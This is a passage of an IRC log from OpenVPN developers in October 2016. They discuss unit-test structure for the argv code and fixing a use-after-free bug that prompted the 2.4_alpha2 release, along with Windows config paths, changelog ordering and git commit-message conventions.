danhunsaker> Yo, dawg, I heard you like functions.... 11:18 <@dazo> ordex: the openssl code is often horrible to navigate through ... but it is so highly optimized per CPU arch, and that makes it fairly complex ... in addition to OS/distro adoptions 11:20 <@dazo> one of the truly good things about OpenSSL, is that it performs quite well compared to other implementations ... which might explain its popularity despite the complexity 11:22 <@d12fk> on the topic of unit tests, how do you want them structured? 11:23 <@d12fk> like: .../unit_tests/misc/argv/test_argv.c 11:25 <@d12fk> .../unit_tests/misc/test_argv.c makes more sense to me 11:25 <@d12fk> going with that until nack 11:26 < slypknot> ordex: if you are looking to solve something this would be appreciated: https://community.openvpn.net/openvpn/ticket/636 11:26 <@vpnHelper> Title: #636 (Add IPv6 Support to packet filter (please)) – OpenVPN Community (at community.openvpn.net) 11:49 <@cron2> so we've decided to not paint the bikeshed at all? 11:52 < danhunsaker> Pfft. Why bother? 11:53 <@d12fk> protection from the weather!? 11:54 < danhunsaker> Z 11:54 < danhunsaker> Stupid phone. 11:58 <@d12fk> guys, i'm really going through several wtfs/min reading the argv code 11:58 <@cron2> d12fk: you've not been exposed to the more magic parts of the openvpn innards for a while, have you? ;-) 11:59 <@d12fk> "magic" =) 12:00 <@d12fk> argv_extract_cmd_name() has a memleak 12:00 <@d12fk> %sc and %s%sc do different things for the %sc part 12:00 <@d12fk> system_str is totally unused besides in the #ifdefed out argv_test code 12:02 <@d12fk> the stdarg manpage says things like: "if type is not compatible [...] random errors will occur" 12:02 <@d12fk> wtf wtf wtf wtf 12:03 <@dazo> !?!? 12:03 <@dazo> lol 12:03 <@d12fk> not that i dont enjoy it in a weird way =) 12:03 <@dazo> :) 12:07 <@cron2> d12fk: well, the "random error" is something we noticed :) 12:17 <@d12fk> well, it was not so random =) 12:34 <@syzzer> d12fk: I have a setup for 'core' unit tests here: https://github.com/syzzer/openvpn/tree/tls-crypt-preview 12:34 <@vpnHelper> Title: GitHub - syzzer/openvpn at tls-crypt-preview (at github.com) 12:35 <@syzzer> or more specifically: https://github.com/syzzer/openvpn/commit/a4566f01 12:35 <@vpnHelper> Title: Add --tls-crypt unit tests · syzzer/openvpn@a4566f0 · GitHub (at github.com) 12:42 <@d12fk> syzzer: should we really cram everything into tests/unit_tests/openvpn 12:42 <@d12fk> there literally tons of stuff to write tests for in the openvpn source dir 12:42 < danhunsaker> ALL THE TESTS IN ONE FILE, YES. 12:42 <@d12fk> HARHAR *evilgrin* 12:43 <@syzzer> no no, not one file, one folder 12:43 <@cron2> one test unit to bind them all! 12:43 <@syzzer> I just thought it makes sense to mimic the structure of the code 12:43 <@d12fk> ya, that's what i'm about 12:43 <@d12fk> that test dir will be huge 12:43 <@cron2> syzzer: "you can't test a single unit without linking them all"? 12:43 <@syzzer> like the source dir? ;) 12:44 <@syzzer> I agree it would make sense to split up the tests, but I would argue the same for the source files 12:44 * syzzer just likes symmetry 12:45 <@d12fk> well we should decide soon on how we want it 12:46 <@d12fk> is there a way to only run a subset of the tests? 12:46 <@syzzer> you could run the testdriver manually 12:46 <@d12fk> ok but not s.th like make check argv 12:47 <@syzzer> hm, don't think so... 12:47 <@dazo> I somehow believe I can feel the pain d12fk is hitting ... when I wanted to just rip out the argv_* stuff to test it separately ... I needed to rip out 5-600 extra lines from {misc,buffer}.[ch] ... so porting argv_ stuff to unit tests is not trivial 12:48 <@syzzer> "make tests/unit_tests/openvpn/argv_testdriver && ./tests/unit_tests/openvpn/argv_testdriver" 12:48 <@d12fk> well for now i link the whole module and just use the argv stuff 12:48 <@dazo> there are so much intertwined tangling across many files .... and with my first attempt, I disabled some of the argv_printf() stuff to avoid pulling in even more 12:48 <@syzzer> (or something like test 12:48 <@syzzer> like *that* 12:49 <@syzzer> :/ 12:49 <@d12fk> dazo: are you working on the argv stuff as well? 12:50 < danhunsaker> Sounds like a good refactor might be in order. 12:52 <@dazo> d12fk: nope, not now ... that was just last week before you stepped in and promised miracles! :) 12:52 * dazo is doing D-Bus stuff right now 12:53 <@d12fk> yeah that early next week was a bit optimitic =) 12:55 <@d12fk> at least the plan is complete 12:55 <@dazo> :) 12:55 <@d12fk> %sc will be replaced with a dedicated function %s%sc will be scratched 12:56 <@d12fk> and the rest is standard printf 12:56 <@d12fk> system_str will be gone and nobody will be leftto miss it 12:56 <@dazo> makes sense, at least if %s%sc isn't used .... and that should actually be processed separately too %s and then %sc 12:57 <@dazo> hehe cool! 12:58 <@cron2> well... that will be a major refactoring, to get rid of %s%sc in a compatible way... 12:59 <@d12fk> not really it is basically just %s%s 13:00 <@d12fk> with the spaces ignored 13:00 <@cron2> ic 14:12 <@syzzer> heh, I already found a fresh bug in alhpa1 14:13 <@syzzer> Wed Oct 19 20:58:40 2016 Test-Client/10.1.1.2:33340 Cipher � not supported 14:13 <@syzzer> Wed Oct 19 20:58:40 2016 Test-Client/10.1.1.2:33340 Exiting due to fatal error 14:13 <@syzzer> use-after-free in lev's fix-duplicate-push-options patch, and I didn't spot it when reviewing :( 14:14 <@mattock> syzzer: does this mean we can jump directly to alpha2? 14:15 <@syzzer> this breaks NCP 14:15 <@mattock> I was about to release alpha1 tomorrow, now that the GUI bikeshedding discussion is over 14:15 <@syzzer> as long as you don't use NCP, this won't be triggered... 14:16 <@mattock> if the fix can wait a bit, then maybe gathering some more bugs before alpha2 would make sense 14:21 <@syzzer> well, we could of course move the tag a few commits up O-) 14:21 <@syzzer> not sure how dazo or cron2 would feel about that though ;) 14:21 * dazo looks up 14:22 <@dazo> syzzer: NCP is enabled by default, right? 14:23 <@syzzer> yes, so 2.4-alpha1 would only work with 2.3 peers, or 2.4 with --ncp-disable 14:23 <@syzzer> (or by pure luck, if the allocated memory isn't changed before the use-after-free...) 14:23 <@dazo> syzzer: right, if you consider this very critical, we should do alpha2 with primarily this fix 14:24 <@syzzer> it's an alpha, so stuff is allowed to be broken I guess... as far as I'm concerned it's up to you 14:24 <@dazo> use-after-free isn't good, so that increases the critical aspect of it 14:24 <@syzzer> yep 14:24 <@dazo> I have no issues fixing just this in an alpha2 release 14:25 <@dazo> which we can do very soonish (this week) 14:25 <@syzzer> moving the alpha1 tag a few commits up is no option? we haven't released anything yet, right? 14:26 <@dazo> It's somewhat dirty ... as people have started to reference that tag when doing git builds 14:26 <@dazo> tags are cheap in git, so I see no reason why not to just do alpha2 ... that'll be our "brown paper bag bug" for this release 14:28 <@syzzer> sure, alpha2 it is, I think 14:28 <@dazo> we just need to put that into the alpha2 release, mattock ... that we skipped releasing alpha1 14:29 <@syzzer> patch on the list 14:30 <@syzzer> now let's see if I have enough brains left to actually test dazo's patches... (which is what I was planning to do before stuff started exploding :p ) 14:30 <@dazo> :) 14:38 <@dazo> syzzer: just a control question ... why is &o->gc the proper gc for this string_alloc()? 14:39 <@syzzer> because we're allocating o->ciphername 14:39 <@dazo> great! 14:39 <@dazo> I'll ack it :) 14:40 <@syzzer> (we could actually save a few bytes by adding another string_alloc() call, but I don't think the bytes are worth the performance hit of another malloc() call) 14:40 <@dazo> agreed 14:41 <@syzzer> great, thanks 14:45 <@syzzer> dazo: would I be very annoying if I started about the naming of --auth-gen-token...? I typed it wrong the first two times: --auth-token-gen, and then --gen-auth-token :p 15:07 <@dazo> hehe 15:08 <@dazo> Nah, I have no strong feelings about that option .... I took --auth-gen-token .... as we have --auth-token already (which is only for push) 15:18 <@syzzer> review of 5/5 on the list, brains fried now -> moving to couch 15:18 <@dazo> :) 15:18 <@dazo> thx! and enjoy! 15:29 <@cron2> syzzer: alpha2 with that bugfix, and not putting out a release I would say 15:30 <@cron2> (so we seem to be in agreement) 16:05 <@vpnHelper> RSS Update - gitrepo: Preparing for release v2.4_alpha2 (ChangeLog, version.m4) <https://github.com/OpenVPN/openvpn/commit/d600b2c8817c01c96408e765bc6d63fd362d5bd4> || Fix use-after-free bug in prepare_push_reply() <https://github.com/OpenVPN/openvpn/commit/83fdae3e9c482a3d3ceca484d96e1241359a0450> 16:11 <@vpnHelper> RSS Update - gitrepo: Remove verbose msg() from send_push_reply() <https://github.com/OpenVPN/openvpn/commit/f3145272584ac60e061ade0325bb72bada674957> 17:13 <@dazo> cron2: we almost collided on those patches now ... I just ran tests and was about to push :) 17:13 * dazo reverts his git tree 17:15 <@dazo> I've had random 'make check' failures ... which have held back to figure out why 20:39 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 252 seconds] 20:40 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 20:40 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Thu Oct 20 2016 01:18 < ordex> thanks slypknot - I'll have a look at that 01:19 < ordex> the bug is interesting, and the affected feature even more: This is an obscure and undocumented feature of OpenVPN, which however can be useful. 01:19 < ordex> :D 01:20 < ordex> maybe it is documented now .. this post is from 2010 01:53 < lev__> nice catch on prepare_push_reply 01:54 <@cron2> dazo: that would have been interesting :-) 01:57 <@cron2> haha, and killed mattock's snapshot builder again... it now tries "cd 2.4_alphq1" 01:57 <@cron2> alpha1 01:57 <@cron2> plaisthos: your buildbot is unhappy 01:57 <@cron2> ./crypto_openssl.h:33:10: fatal error: 'openssl/evp.h' file not found 03:21 <@d12fk> mattock: what kind of gui bikeshedding did i miss? 03:22 <@mattock> d12fk: where to put user-specific openvpn configuratio nfiles 03:23 <@mattock> all options sucked, so we went with the current one (%USERPROFILE%\OpenVPN\config) 03:24 <@mattock> there's an infrastructure issue I need to take care off, but I'll get to alpha2 soonish 03:24 <@d12fk> hah, you got it wrong, %appdata% is the place 03:25 <@d12fk> e.g. C:\Users\heiko\AppData\Roaming 03:25 <@d12fk> if you take a look other vendor put their user specific stuff there as well 03:26 <@d12fk> its a hidden dir, so noobs won't accidently fiddle with the settings 03:28 <@plaisthos> d12fk: I agree but others disagree 03:30 <@d12fk> ah so you went there already, well i guess openvpn is one of the strange ones then... 03:30 <@d12fk> fine with me, the setting is in the registry anyway right? 03:32 <@plaisthos> yes setting is in registry 03:33 <@plaisthos> mattock told us yesterday that a user can actually change the setting inside the app 03:51 <@dazo> cron2: :) ... it would actually have failed when I would push, as the remote committish would be ahead of mine 03:52 <@dazo> d12fk: [gui shedding] .... that was my argument too :) 03:53 <@mattock> d12fk: well, the only reason why we did not go the APPDATA route was that it is hidden from users, and Microsoft's idea seems to be that only applications should write to that directory 03:53 <@mattock> the idea that people might actually have to copy configuration files somewhere manually apparently did not occur to them 03:54 <@mattock> they probably thought that only the apps themselves should manage configuration files inside their respective GUIs 03:56 <@dazo> but ... this is windows ... so the GUI should do this config management, and IIRC, Selva already added some "import config" stuff 04:01 <@mattock> yes, some 04:01 <@mattock> but it cannot handle dependent files like up/down scripts, certificates, etc 04:01 <@mattock> so it is not a solution except for fully inlined files 04:01 <@mattock> plus there is no management of the imported files 04:02 <@mattock> compared to some applications openvpn is rather special 04:02 <@mattock> normally you would not import random configuration files into an application 04:02 <@mattock> maybe you'd import your own configuration file for, say, a text editor 04:03 <@mattock> but _one_ configuration file with a standard layout and no dependent files 04:15 <@d12fk> imho most of our Windows users don't do configs, the other few know about %appdata% 04:16 <@d12fk> and that's the last thing a say about this, running out of motivation painting 04:18 * cron2 hands d12fk a can of paint with flowers 04:18 <@dazo> d12fk++ 04:19 <@d12fk> https://blogs.msdn.microsoft.com/patricka/2010/03/18/where-should-i-store-my-data-and-configuration-files-if-i-target-multiple-os-versions/ 04:19 <@d12fk> well, that _is_ the last thing 04:20 * d12fk tries not to get sucked into this =) 04:21 * d12fk eats flowers 04:21 * d12fk drinks cron2's paint 04:21 <@d12fk> just to be sure 04:22 * dazo wonders what the end result of eating flowers and drinking painting will end up as .... 04:22 <@mattock> interesting link d12fk, and nothing we don't know already :P 04:23 <@mattock> but that article is aimed for application developers, just like the rest 04:24 <@mattock> using %USERPROFILE\Appdata\Local might end up being a support nightmare 04:24 <@mattock> on the other hand, people might complain about %USERPROFILE%\OpenVPN too 04:24 <@mattock> let's see what happens and adapt 04:26 <@d12fk> yup, back to argv 04:26 <@dazo> mattock: [devils advocate] Here it sounds like if you want the user to access configs files and "click on them", we should use %userprofile%documents ... https://blogs.msdn.microsoft.com/cjacks/2008/02/05/where-should-i-write-program-data-instead-of-program-files/ ... 04:26 <@vpnHelper> Title: Where Should I Write Program Data Instead of Program Files? The App Compat Guy (at blogs.msdn.microsoft.com) 04:28 <@mattock> dazo: yeah, a "Config" folder is missing in Windows, and dotfiles are not actively used, so "Documents\OpenVPN\config" is not _that_ bad an idea 04:29 <@cron2> dazo: now *this* colour of the bikeshed is not available today :) 04:29 <@cron2> (but it is pretty) 04:29 <@dazo> mattock: but ... "config" folder is %appdata%, seriously :) 04:29 <@mattock> that said, %USERPROFILE%\.openvpn\config has the benefit that it at least sorts at the top, and is not as intrusive-looking as %USERPROFILE%\OpenVPN\config :D 04:29 <@cron2> no dot-directories 04:29 <@dazo> dotfiles are not Windows syntax 04:30 <@mattock> dazo: yes, agreed 04:30 <@cron2> someone might even still use vfat, and then it blows up big time :) 04:30 <@dazo> dotfiles is the unix way of *hiding* directories 04:30 <@mattock> windows syntax is to hide files from users so that we have to answer hundreds of questions right after the release, and in the forthcoming years :D 04:30 <@cron2> right... and if we want to hide it, %appdata% 04:31 <@mattock> anyways, let's keep the bikeshed the same colour as initially and fix it later :) 04:31 <@mattock> we can programmatically move stuff from the old directory to a new one, as selva said (if needs be) 04:32 <@dazo> Lets put this on the agenda for 2.5 ... then we have time to educate users *and* to implement a proper "open config folder" and having an improved import module .... normal users should not need to enter this file area, that is primarily for sysadmins setting up stuff, and they even do know about %appdata% 04:33 <@dazo> My opinion is that OpenVPN should behave consistently on all platforms, according to the platform design - not how our users expects things to be 04:34 <@cron2> dazo: uh, what? 04:35 <@cron2> "consistency across all linux distributions" will already be a major goal :-) 04:36 <@dazo> cron2: we are quite close to that, and when I just get started on poking all distro packages all systemd based distros will be pretty much identical 04:36 <@dazo> cron2: it is needed however to document proper places for user certificates and such things (which most commonly these days is $HOME/.cert ) 04:38 <@dazo> cron2: the only elephant left is the resolv.conf challenge .... which might be solvable by writing a new --plugin which talks to either NetworkManager or systemd-networkd directly - which would then not cause unpredictable mess in /etc/resolv.conf if openvpn goes wild) 04:39 <@dazo> the BSD side of things will be more interesting though 04:41 <@d12fk> what's the convention naming the individual test? 04:41 <@d12fk> *unit tests 04:41 <@dazo> d12fk: functions should be named blowup_*() or explodebadly_() ;-) 04:41 <@d12fk> e.g. replace_single_char__multiple_times__match_all_matches_are_replaced looks like there's a scheme: part1__part2__part3 04:42 <@dazo> d12fk: I don't think we've really decided on a naming scheme ... so if you have some clever suggestion, I think you can set the standard 04:44 <@d12fk> i guess it is this: http://osherove.com/blog/2005/4/3/naming-standards-for-unit-tests.html 04:44 <@dazo> but $module_$group_$testname() would probably not be too bad 04:44 <@vpnHelper> Title: Naming standards for unit tests - Blog - Osherove (at osherove.com) 04:44 * dazo looks 04:47 <@d12fk> so i go with argv_printf__combined_path_with_spaces__yields_one_argv 04:47 <@dazo> yeah, I think that sounds reasonable 04:47 <@dazo> It's good with descriptive names ... but it shouldn't be way too verbose though 04:48 <@d12fk> i guess that's what the naming in auth-pam is after too 04:48 <@d12fk> i think the reason for it is that when you do testdriven development the failure itself tells you what you broken 04:48 <@dazo> yeah 04:49 <@d12fk> k moving on 05:41 <@d12fk> oh boy linking in misc.o intot he until tests yields 313 undefined symbols =/ 05:41 <@d12fk> *unit 05:43 < ordex> dazo: are you David Sommerseth ? 05:43 <@dazo> ordex: yes 05:45 < ordex> dazo: oh ok, thanks for your email :) 05:48 <@d12fk> haha now i even have to lin libcrypto... i'm done with witing unit tests 05:48 <@d12fk> *link 05:51 <@dazo> yeah, our code is really intertwined and tingled in interesting ways ... like a Persian carpet 05:53 < ordex> so artistic 05:53 < ordex> :) 05:54 <@dazo> ordex: if you start looking at the code paths in options.c ... you'll see the computer art in completely new ways ... and especially when you see some of those code paths being called from the argv_* code d12fk is looking at these days 05:56 <@cron2> %sc is a masterpiece of carpetweaving 05:58 < ordex> lol 06:10 <@d12fk> parse_line() could be mocked. problem here is that misc.c is huge and filled with unrelated crap 06:11 <@d12fk> so, what now? create argv.[ch] and go on with writing tests or turn around and run? 06:15 <@cron2> create argv.[ch] sounds like something worth trying 06:16 <@dazo> agreed 06:17 <@dazo> misc.c (where argv_*() is located, iirc) is already way too large ... as syzzer also commented in a different patch set on the ML 06:22 <@mattock> uh, finally back to 2.4-alpha2 06:32 <@mattock> windows installers building 06:41 <@d12fk> dazo do you have (c) on th eargv stuff, you are mentioned in mics.c 06:42 * dazo check 06:42 <@dazo> s 06:44 <@dazo> d12fk: nope, lots of other code paths there though, but not argv stuff 06:44 <@dazo> commit 430ce8bd03b23717e is what adds those (c) lines 06:45 <@d12fk> ok so i will just copy the ovpn tech copyright notice 06:46 <@dazo> makes sense 06:57 <@mattock> windows test suite running... 07:00 <@plaisthos> cron2: just rename it to core-logic. 07:00 <@plaisthos> :) 07:02 <@mattock> any recommendations for the starting point of the 2.4_alpha2 changelog? 07:02 <@mattock> v2.3.0...v2.4_alpha2 produces duplicate entries 07:03 <@mattock> same title, different commit id 07:03 <@plaisthos> yeah 07:03 <@plaisthos> that is not the forking point 07:05 <@mattock> 2.3_beta1 seems correct 07:06 <@plaisthos> git merge-base master release/2.3 07:06 <@plaisthos> 6abd293e5c04467a17e6ed4cf01c708cef0ac046 07:06 <@plaisthos> yeah looks like it 07:07 <@plaisthos> I wonder if there is git magic to report only non cherry-picked commits 07:07 <@mattock> ah, a git magic command to find out the forking point 07:08 <@mattock> I just used git shortlog + uniq and narrowed it down :P 07:08 <@mattock> all Windows tests passed, so I think we're good to go 07:09 <@plaisthos> git cherry release/2.3 master -v 07:09 <@plaisthos> prints a diff of cherry picked 07:10 <@plaisthos> (but not perfect) 07:38 <@d12fk> fun fact: linking options.o brings in 85 new unresolved symbols, i better mock parse_line 07:43 <@d12fk> *sigh* inline functions and #defines in header files really make it hard 07:49 <@cron2> always complaining... you should appreciate the underlying beauty of the fabric of the weave 07:50 <@d12fk> yeah, i'm german after all =P 07:55 * cron2 sends over pink glasses 08:05 <@mattock> https://openvpn.net/index.php/download/community-downloads.html 08:05 <@mattock> anything you'd like to highlight on the feature/improvement/bugfix front, or is linking to Changes.rst enough? 08:06 <@mattock> as is done right now 08:06 <@mattock> "This release includes a large number of new features, improvements and fixes. A summary of these changes is available in Changes.rst, and a full list of changes is available here. OpenVPN 2.4_alpha1 release was skipped due to a bug found soon after tagging that release in Git." 08:06 <@mattock> (here linking to Trac's changelog page) 08:09 <@mattock> suggested announcement: http://pastebin.com/raw/BsV0Ca0r 08:09 <@mattock> I'll start sending these soon 08:25 <@mattock> it has been done, and there is no going back now :P 08:30 * cron2 mentions that he's going to be in Madrid for a week... 09:16 <@d12fk> [ RUN ] argv_printf__combined_path_with_spaces__yields_one_argv 09:16 <@d12fk> [ OK ] argv_printf__combined_path_with_spaces__yields_one_argv 09:17 <@d12fk> yay the boilerplate code runs onto the the actual test 09:22 <@dazo> \o/ 09:22 <@syzzer> whee, alpha2 on the site \o/ 09:23 <@syzzer> mattock: but shouldn't we put the stable release before the alpha? 09:27 <@dazo> +1 09:34 < ordex> syzzer: how's the test going? I hope everything is passing so far :) 09:34 < ordex> in the meanwhile I am working on the stat() change 09:41 <@mattock> I can definitely move the releases around 09:44 <@mattock> it looks much less interesting now :P 09:44 <@syzzer> ordex: tests are running and succeeding :) 09:44 < ordex> :) 09:45 <@syzzer> I just noticed one thing I'd like to change before send out patches 09:45 <@syzzer> hoping to find some time for that tomorrow 09:47 < ordex> glad that it is just one! :D 09:47 < ordex> eheh 09:47 <@syzzer> I'll send you the preliminary patch off-list, might help you with looking into it :) 09:52 <@d12fk> 1 of 1 test failed 09:52 <@d12fk> Please report to openvpn-users@lists.sourceforge.net 09:52 <@d12fk> why not -devel? 09:53 < SviMik> let the users fix it :) 09:53 * syzzer puts fingers in ears and shouts "nanananana" 09:53 < ordex> :D 09:53 < ordex> thanks syzzer - I'll check it tomorrow morning. Almost time for bed here :) 09:53 < SviMik> "In Russia, developers send bugreports to users" 09:54 < SviMik> ...and users fix that 09:57 <@dazo> d12fk: because the too many of these bugs are mostly PEBKACs - which is best solved on -users ... when -users fail to fix it, then it is a bug we should look at ;-) 09:57 <@dazo> s/ the // 10:00 <@plaisthos> mattock: I think we should sort the features in Changes.rst 10:00 <@plaisthos> the current list is like random 10:00 <@plaisthos> and put the things that affect most users or are important to us first 10:01 <@plaisthos> Windows version 10:01 <@plaisthos> Windows version is detected, logged and possibly signalled to server (IV_PLAT_VER=<nn> if --push-peer-info is set on client) 10:01 <@plaisthos> that is really a minor change 10:01 <@plaisthos> compared to AEAD (GCM) data channel cipher support 10:03 <@plaisthos> and the github rendered version looks a bit strange 10:04 <@plaisthos> I will prepare a patch 10:07 <@syzzer> ^ feature-ack 10:08 < ordex> syzzer: I am having a loot at the patch - if I understand it correctly, this patch also makes the crl persistent, right? because it feeds the ssl engine with the crl object, so that it is in memory and available for lookup upon connection 10:08 < ordex> *look 10:09 <@plaisthos> options in code or not? 10:10 <@plaisthos> https://github.com/schwabe/openvpn/blob/readme24/Changes.rst 10:10 <@vpnHelper> Title: openvpn/Changes.rst at readme24 · schwabe/openvpn · GitHub (at github.com) 10:10 < ordex> except that the crl is also reloaded upon every connection 10:10 <@plaisthos> override with tls-cipher 10:10 <@plaisthos> there we have code 10:10 <@plaisthos> and the rest of the README does not have it 10:23 <@plaisthos> https://github.com/schwabe/openvpn/blob/readme24/Changes.rst 10:23 <@vpnHelper> Title: openvpn/Changes.rst at readme24 · schwabe/openvpn · GitHub (at github.com) 10:24 <@plaisthos> the rendered version of my patch 10:33 < ordex> mh...mbedtls uses a linked list....a major surgery is needed here :S 10:35 < danhunsaker> ordex: YOU CAN DO EEEEEET! 10:35 < ordex> lol 11:06 < SviMik> http://svimik.com/manage_client-kill_v2.0.patch 11:06 < SviMik> Done! 11:06 < SviMik> please check :) 11:09 < SviMik> the new syntax is without comma: 11:09 < SviMik> kill user_cn HALT hello world 11:10 < SviMik> so that won't confuse users like in my previous patch 11:15 <@cron2> plaisthos: I find "knowing windows version" highly important :) 11:29 <@dazo> "mbed TLS builds: minimum RSA key size is now 2048 bits." ... for 2.5, that should be for OpenSSL as well 11:32 < SviMik> is my patch and commit message ok? shall I post it? 11:33 <@dazo> SviMik: subject line is way too long 11:33 < SviMik> suggestions? 11:33 <@dazo> SviMik: first commit line is the subject line ... keep that as short and concise as possible 11:34 <@dazo> SviMik: Suggestion: management: Add optional kill message to kill/client-kill 11:34 < danhunsaker> Generally 50 characters max, per Linus Torvalds himself. 11:34 <@dazo> the management: prefix is to help categorize commits when we do shortlog and similar stuff 11:34 < SviMik> dazo thx, looks perfect :) 11:34 < danhunsaker> He may be a bit of a jerk, but he *is* the guy who built git, so... 11:34 <@dazo> SviMik: then you can reword the rest of your subject as the first paraggraph 11:34 <@dazo> danhunsaker++ 11:36 < SviMik> dazo does it needs to be rewrited too? 11:37 <@dazo> too long line here too ... try to avoid longer lines than approx max 65-70 chars 11:38 <@dazo> remember that 'git log' prefixes lines with 4 spaces 11:38 <@dazo> SviMik: you are also lacking a Signed-off-by line 11:39 <@dazo> and preferably full name 11:39 <@dazo> (we like to give credit where credit's due) 11:40 <@dazo> SviMik: and just in case ... it must be a blank line between the first subject line and the first paragraph 11:41 < danhunsaker> Sheesh, making people follow standard git commit message formatting... Barbaric... 11:42 <@dazo> lol 11:42 < danhunsaker> (Not that the standard is that widely spread, sadly...) 11:45 < SviMik> it was made by git format-patch, just edited message later to not redo all the git things 11:46 < SviMik> Signed-off-by line just wasn't added in git. never do that... 11:48 < SviMik> dazo there is no blank line in git format-patch. also, the space was one, not four (is my git too old?) 11:53 < SviMik> and preferably full name \\ I was already appeared once by nickname. then probably let's continue to use it... 11:54 < SviMik> (sure I can put the full name if you insist) 12:04 <@dazo> SviMik: right ... okay ... you should modify the commit message using 'git commit --amend' ... then you do a new git format-patch 12:05 <@dazo> this ensures the patch file is not corrupted through the manual editing 12:05 <@dazo> you see, we have scripts which parses these patch files and does some more magic to them when applying them to the git tree ... so we're not much happy when our automated tools doesn't work 12:06 <@dazo> (why should we spend 5-10 minutes cleaning up things when the automated process does everything in a few seconds?) 12:06 <@dazo> Signed-off-by should really be added ... that's done by adding the -s switch to git commit .... you can do: git commit -s --amend ... and you'll get it 12:07 <@dazo> if you don't have any really strong arguments not to use full name, we do really appreciate full name in the commit logs .... and we have .mailmap which takes care of older commits 12:16 <@ecrist> OpenVPN being a security product, transparency is key 12:17 <@ecrist> Oh, who's this SviMik guy that had all these commits? Gov't Op obviously 12:20 * SviMik opened the changelog 12:20 * SviMik found there ValdikSS, some Fish, janjust, TDivine, kangsterizer, chantra and smos 12:20 <@dazo> SviMik: have a look at .mailmap 12:20 <@ecrist> janjust is actually someone's name 12:20 <@dazo> there are a few ones which have fell through the cracks, yes ... but we try to improve 12:21 <@dazo> TDivine is, iirc, a contractor which OpenVPN Tech hired 12:23 <@dazo> plus ... we always consider which code paths being changed if we let some nicks pass (Fish, kangsterizer, chantra ... really not core code changes) 12:33 < SviMik> well, my arguments are: 1) my nickname is more unique rather than name. It's like putting some John Smith - no chance even to find the right person in google by that name. 2) in Internet I'm more known by nickname rather than name. 12:33 < SviMik> not sure if these arguments are strong or not... but if there are nicknames in changelog, it looks OK for me to have a nickname too. if you allow it... 12:36 < danhunsaker> I'd put both - Real Name (nickname) 12:38 < SviMik> haven't seen that in changelog like this https://community.openvpn.net/openvpn/wiki/ChangesInOpenvpn23 12:38 <@vpnHelper> Title: ChangesInOpenvpn23 – OpenVPN Community (at community.openvpn.net) 12:38 < SviMik> if I ask to put both - then indeed it will be something unique 12:39 <@dazo> SviMik: did you read what I wrote? .mailmap fixes those important ones, TDivine is a contractor hired by OpenVPN Technologies, Inc ... which leaves Fish, kangsterizer and chantra. The two former have minimal patches (< 5 lines, mostly documentation or not core code related fixes) ... and then there is chantra, which had the last contribution 5 years ago ... and we *do* try to improve our processes 12:40 <@dazo> (and chantra's patches aren't that intrusive, mostly smaller patches) 12:40 <@dazo> your patch is actually adding quite a lot more, adding new features ... which makes it more important to be transparent 12:41 <@dazo> what danhunsaker said, was a suggestion - which is a style used in other projects. I like that approach though 12:42 < danhunsaker> It amounts to Real World (online) 12:42 < SviMik> no idea how the .mailmap works. there are still old names on the website? 12:42 <@dazo> git log --use-mailmap 12:42 <@dazo> (look at commit a47d34920a4e6e522592 for more info) 12:42 <@ecrist> SviMik: we're expecting your real name is the consensus 12:46 < SviMik> to be honest, I care more about changelog on the website... cause, you know... website is the thing that visible for all users, and git is checked by developers only 12:46 < SviMik> and it seems the website's changelog is not affected/updated from git/.mailmap 12:46 < SviMik> is it? 12:48 <@dazo> yes ... the changelog was created before we updated the .mailmap file. mattock and cron2 just needs to be sure they've set their git config to use mailmap 12:49 <@dazo> as I said, we try to improve ... and we want to improve a lot before the final 2.4 release 12:49 < SviMik> ecrist so is it OK to put "Real Name (nickname)"? 12:49 < danhunsaker> It probably should be... *glances side-long at mattock in particular* 12:49 <@dazo> SviMik: yes, that is fone 12:49 <@dazo> fine* 13:14 < SviMik> and the name should be in... Signed-off-by, right? or somewhere else too? 13:23 < danhunsaker> SviMik: git config [--global] user.name "Real Name (nickname)" 13:24 < danhunsaker> Use --global if you want it to apply to all your repos; leave it out to only apply to the current one. 13:24 < SviMik> thx 13:24 < danhunsaker> Then `git commit -s --amend` after that. 13:25 < danhunsaker> The -s will automatically create the correctly-formatted Signed-off-by 13:27 < danhunsaker> I generally `git commit -S -sam "message"` when I commit. `-S` to add a GPG signature, `-s` for the 'Signed-off-by' line, `-a` to update any already-tracked files I forgot to `git add`, and `-m "message"` for obvious reasons. 13:27 * SviMik does use git and github, but still not familar with most of the commands... 13:27 < SviMik> I generally don't care and use gui :D 13:28 < danhunsaker> When sending to a mailing list, I suspect the -S would be ... wasteful. But then, I haven't tried to submit a GPG-signed commit via ML... 13:29 < danhunsaker> Maybe git is smart enough to include the signature in the email, and to add it to the new commit when it reads the email back into the main repo. 13:29 < SviMik> still have no idea what the 'Signed-off-by' line does since the commit authors are already tracked... 13:29 < SviMik> "Sign-off is a requirement for getting patches into the Linux kernel and a few other projects, but most projects don't actually use it." 13:29 < SviMik> ha 13:30 < SviMik> (c) http://stackoverflow.com/questions/1962094/what-is-the-sign-off-feature-in-git-for 13:30 <@vpnHelper> Title: git commit - What is the Sign Off feature in Git for? - Stack Overflow (at stackoverflow.com) 13:31 < danhunsaker> Others can sign off on your patches after the fact. And, in fact, some commits aren't created (in the official repo) with the original author's creds. The SOB line in a commit message indicates that you did, in fact, touch that commit, in a way that doesn't get lost as easily during things like cleanup commits or squashes. 13:32 < SviMik> ah, the problem is that we don't commit directly... right... 13:35 < danhunsaker> Yeah, I'm not terribly fond of commit-via-email, but... It works for the moment... 13:41 <@dazo> danhunsaker: -S and mail doesn't really change much ... but cron2 and I should at least consider if we should do that when committing to the published tree 13:42 < danhunsaker> I like -S. 13:42 < danhunsaker> Pity Gitkraken doesn't support it. 13:42 < danhunsaker> Or honor ~/.ssh/config 13:42 <@dazo> danhunsaker: but I do have a script which does sign patch files properly ... https://gitlab.com/dazo/misc-git-tools/tree/master 13:42 <@vpnHelper> Title: Files · master · David Sommerseth / misc-git-tools · GitLab (at gitlab.com) 13:43 <@dazo> (look at git-sign-patch and git-verify-patch ) 13:43 < danhunsaker> dazo: I've seen your ML messages. :D 13:44 <@cron2> dazo: "dazo", "sign" and "properly" is indeed astonishing :) 13:44 <@cron2> (in the same sentence, that is) 13:44 * cron2 hides 13:45 <@dazo> hahaha 13:45 <@dazo> cron2: my scripts work fine ... it's Enigmail which I can't properly script! ;-) 13:51 <@dazo> danhunsaker: if you know about another properly 